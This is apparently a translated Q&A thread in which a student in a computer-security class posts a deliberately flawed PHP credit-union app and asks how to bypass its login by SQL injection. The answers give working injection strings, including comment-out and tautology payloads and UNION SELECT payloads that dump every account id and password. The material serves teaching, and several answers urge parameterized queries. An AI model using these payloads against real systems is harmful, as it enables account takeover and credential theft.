Подтвердить что ты не робот

SQL-инъекция с использованием php

это часть задания для моего класса безопасности компьютера, поэтому я не ищу конкретных ответов, просто помогите.

Нам была предоставлена ​​неисправная программа (в php), которая управляет базой данных SQL (банковский счет), и нам нужно найти способ создания атаки на SQL-инъекцию, которая позволит нам войти в учетную запись, не зная ее идентификатора раньше время.

Я уверен, что знаю, где находится уязвимость, но я не могу заставить свои атаки работать.

Код, о котором идет речь (он длинный, но единственная важная часть находится в первой части):

<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php

$debugmode = 1;
function debug($msg) {

    global $debugmode;

    if ($debugmode) {
        echo "<h4>$msg</h4>\n";
    }
}

$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;

$PARAM = array_merge($_GET, $_POST);

// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
    login();
} else { // otherwise, attempt to authenticate
    $id = $PARAM['id'];
    $password = $PARAM['password'];

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
    debug($query);
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result); // there should be only one row

    if (!$row) { // auth failure
        echo "<p><b>Your ID number and password you entered do not match.</b></p>";
        echo "<p>Please try again.</p>";
        login();
    } else { // this user is authenticated!

        // store authentication information in this form
        echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
        echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";

        banner($row);

        // perform any requested actions (wire, transfer, withdraw)
        if ($PARAM['action'] == 'Transfer Money') {
            transfer_funds($id, 
                       $password,
                           $PARAM['transfer_to'], 
                       $PARAM['transfer_amount']);
        } elseif ($PARAM['action'] == 'Wire Money') {
            wire_funds($id,
                        $password,
                            $PARAM['routing'],
                        $PARAM['wire_acct'],
                        $PARAM['wire_amount']);
        } elseif ($PARAM['action'] == 'Withdraw Money') {
            withdraw_cash($id,
                          $password,
                              $PARAM['withdraw_amount']);
        }

        // normal output

        // account info
        $query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
        $result = mysql_query($query) or die(mysql_error());
        $row = mysql_fetch_array($result); // there should be only one row
        account_info($row);

        // get current account list by name
        $query = "SELECT first, last FROM accounts ORDER BY last";
        $names = mysql_query($query) or die(mysql_error());
        account_actions($row, $names);
    }


}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";

function name_to_id($name) {

    global $dbhost, $dbuser, $dbpass, $dbname;
    $splitname = explode(", ", $name);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);
    $query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
    $result = mysql_query($query) or die(mysql_error());
    $row = mysql_fetch_array($result);
    $id = $row[0];

    return $id;
}

function action_error($msg, $error) {

    echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
          <tr><td><center><b>ERROR!</b></center></td></tr>
          <tr><td>
                  <p align='center'>$msg</p>
                  <p align='center'>Please go back and try again or contact tech support.</p>
                  <p align='center'><i>args: $error</i></p>
              <p align='center'><input type='submit' name='clear' value='Clear Message'></p>

              </td></tr>
          </table>";
}

function withdraw_cash($id, $password, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug("126: ($password) " . $query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount) {
        $giver_has = $giver_has - $amount; // there a problem here but it not SQL Injection...
        pretend("withdraw cash", $amount);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
              <h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
    } else {
        action_error("Problem with cash withdrawal!",
                         "'$id', '$giver_has', '$amount'");
    }
}


function wire_funds($id, $password,  $bank, $account, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $giver_has = $row[0];

    if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
        $giver_has = $giver_has - $amount; // there a problem here but it not SQL Injection...
        pretend("wire money", $amount, $bank, $acct);
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
    } else {
        action_error("Problem with wire fund transfer!", 
                     "'$id', '$amount', '$giver_has', '$bank', '$account'");
    }
}

function pretend() {

    return 1;
}

function transfer_funds($giver_id, $password, $recipient, $amount) {

    global $dbhost, $dbuser, $dbpass, $dbname;

    $amount = floor($amount);
    $recipient_id = name_to_id($recipient);

    $link_id = mysql_connect($dbhost, $dbuser, $dbpass);
    mysql_select_db($dbname);

    $query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
    debug($query);
    $result = mysql_query($query);

    $row = mysql_fetch_array($result);
    $recipient_has = $row[0];
    $row = mysql_fetch_array($result);
    $giver_has = $row[0];
    debug("$giver_has, $recipient_has");

    if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
        $giver_has = $giver_has - $amount; // there a problem here but it not SQL Injection...
        $recipient_has = $recipient_has + $amount; // does anyone know what it is?
        $query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        $query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
        debug($query);
        mysql_query($query) or die(mysql_error());
        echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
    } else {
        action_error("Problem with employee fund transfer!",
                         "'$giver_id', '$recipient', '$amount', '$giver_has'");
    }
}

function account_info($row) {

    echo "<table border='1' align='center'>
          <tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
          <tr><td><b>Account:</b></td><td>$row[0]</td></tr>
          <tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
          <tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
          <tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
          <tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
          <tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
          </table>\n";
}

function account_actions($row, $names) {

    global $thispage;

    echo "<table border=1 width='600' align='center'>

          <tr><td><center><b>Account Actions</b></center></td></tr>

          <tr><td><center><b>Wire Funds</b></center></td></tr>

          <tr><td>
          <p>To wire funds: enter the amount (in whole dollars), the 
          receiving bank <b>routing number</b> and <b>receiving account number</b>, 
          and press 'Wire Funds!'</p>
          Wire amount: $<input name=wire_amount /><br />
          Routing Number: <input name=routing /> (e.g. 091000022)<br />
          Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
          <p align='center'><input type='submit' name='action' value='Wire Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Transfer Money</b></center></td><tr>

          <tr><td><p>To transfer money to another FCCU account holder, select the 
          employee from the drop-down menu below, enter an ammount (in whole dollars)
          to transfer, and press 'Transfer Money!'</p>
          Transfer Amount: $<input name=transfer_amount /><br />
          Transfer To: ";
          // create dropdown menu with accounts
          echo "<select name='transfer_to' selected='select employee'>\n";
          echo "<option value='nobody'>select employee</option>\n";
          while ($name = mysql_fetch_array($names)) {
              echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
          }
          echo "</select>\n";
          echo "<br />
          <p align='center'><input type='submit' name='action' value='Transfer Money'></p>
          <p />
          </td></tr>

          <tr><td><center><b>Withdraw Cash</b></center></td><tr>

          <tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press 
          the 'Withdraw Cash!' button. The cash will be available in the accounting 
          office within 45 minutes.</p>
          Withdraw Amount: $<input name=withdraw_amount /><br />
          <p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
          <p />
          </td></tr>
          </table>
          \n";

}

function banner($row) {

    global $thispage;

    $fullname = "$row[2] $row[3]";
    echo "<table width='100%'><tr><td>
    <p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
          </td><td>
          <p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
          </td></tr></table>\n";
    echo "<hr>\n";


}

function login() {

    global $thispage;

    echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
    echo "<table>\n";
    echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
    echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
    echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
    echo "</table>\n";

}

?>
</form>
<p>Done.</p>
</body>
</html>

Строка:

$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";

Я пробовал пару строк ввода ID (я работаю из своего браузера), например

100 OR id=id;
0 OR 1=1;

Попробовать и прокомментировать часть пароля команды. Я новичок в SQL, поэтому я думаю, что просто форматирую это неправильно.

Это или я полностью игнорирую более очевидный эксплойт.

4b9b3361

Ответ 1

Вам нужно обязательно прокомментировать оставшуюся часть запроса, поэтому кавычки вас не трогают, поэтому любые дополнительные предложения игнорируются.

Попробуйте установить идентификатор:

0 OR id=id -- 

--  (это дефис, дефис, пространство: это пространство важно) является комментарием в MySQL.

Ответ 2

Вы в школе, я не хочу просто дать вам ответ.: P

Учитывая тот факт, что запрос не параметризован...

Обратите внимание на размещение апострофов.

Имейте в виду запрос:

Select field
FROM table
WHERE field = '<-- Note these -->'

Вы на правильном пути, хотя!

УРОК

Всегда, всегда, всегда используйте параметризованные запросы, если сможете. Также PDO - хороший способ доступа к БД в PHP.

Пример

anything' OR 'x'='x < - Что-то вроде этого (опять же с апострофами)

Ответ 3

Использование SQL-инъекций - это искусство предоставления значений, которые при включении в оператор SQL приводят к действительным синтаксическим синтаксическим операторам SQL, изменяя семантику, предназначенную разработчиком для тех, которые выгодны для злоумышленника.

Теперь, если мы посмотрим на вашу попытку с идентификатором 100 OR id=id; и паролем, полученный SQL выглядит следующим образом:

SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'

Теперь у вас есть две проблемы:

  • mysql_query поддерживает только выполнение одного оператора и выдает ошибку, если есть более одного оператора.
  • Даже если несколько операторов поддерживаются, возвращаемое значение будет результатом второго оператора, который, очевидно, недействителен.

Итак, чтобы исправить это, самый простой способ - ввести comment, его синтаксис # или --  (отметить конечное пространство) для комментариев до конца строки. Поэтому для id вы можете использовать одно из следующих значений:

100 OR id=id #
100 OR id=id -- 

Или вы добавляете независимое предложение OR без комментариев вроде этого:

100 OR id=id OR id

Это приведет к:

SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'

Здесь id=id истинно для каждой строки.

Ответ 4

принятый ответ охватывает вещи.

Однако я замечаю, что в первоначальном вопросе одним из вопросов было "позволить нам войти в учетную запись, не зная ее идентификатор раньше времени".

Предполагая, что вы знаете имя заранее (но не идентификатор), вы можете установить id как-то вроде

0 OR (first='joe' AND last='bloggs') -- 

Я также хотел бы установить пароль на что-то вроде: -

' OR (first='joe' AND last='bloggs') -- 

Таким образом, запросы, которые проверяют пароль перед идентификатором пользователя (например, проверка баланса), также могут быть выполнены

Для вашего развлечения что-то еще, что может быть интересно попробовать. Установите id следующим образом: -

0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

и пароль к следующему: -

' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') -- 

Затем следует поместить фактический пароль в функцию account_info (вам может потребоваться добавить ", пароль" еще несколько раз, так что количество столбцов совпадает с количеством столбцов в таблице учетных записей).

Или, если вы хотите все идентификаторы: -

0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

и пароли: -

' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts -- 

Что-то вроде этого должно предоставить вам все идентификаторы и пароли в системе (с учетом максимального ограничения длины на GROUP_CONCAT). Таким образом, вы можете войти в систему с любым идентификатором и паролем, который вы хотели бы легко после этого.

Я скопировал ваш script и сбил тестовую таблицу, и вышеописанное было выполнено.

Ответ 5

В принципе, вы можете атаковать это с помощью GET или POST. Метод GET намного проще, просто создайте URL-адрес с именем id с нужным SQL-кодом.

http://www.somesite.com/FCCU.php?id=id -- 

Возможно, вам придется кодировать URI, просто попробуйте сначала некодировать. Затем сервер выполнит запрос:

SELECT * FROM accounts WHERE id = id -- AND password = '$password'

Поскольку условие пароля закомментировано и WHERE id = id эквивалентно WHERE TRUE, он будет работать так же, как:

SELECT * FROM accounts

Возвращаемое значение этого запроса затем сохраняется в переменной, которая имеет всю информацию об учетной записи каждого в базе данных сайта. Поскольку они передают эту переменную в свою функцию отладки, вам просто нужно включить режим отладки, и вы должны увидеть все конфиденциальные данные входа и пароля.

Ответ 6

это не приятно взломать, но:

SELECT * FROM accounts WHERE id = $id AND password = '$password'"

в поле идентификатора поля

1 --
2 --

или

1-- // without space
2--

например, вы сможете войти в систему как каждый пользователь

Ответ 7

Вы можете ввести это как id (пример для учетной записи с идентификатором 123):

123 OR 1=2

Фокус в том, что вторая часть оценивается как FALSE, и поэтому у вас есть только id = 123. Использование истинного условия приведет ко всем строкам, поэтому вы, вероятно, получите id = 1, если таблица будет отсортирована.

Следующий шаг - проверить результирующую страницу и посмотреть в поле скрытый пароль. Затем вы сможете отправлять больше запросов с правильным идентификатором и паролем.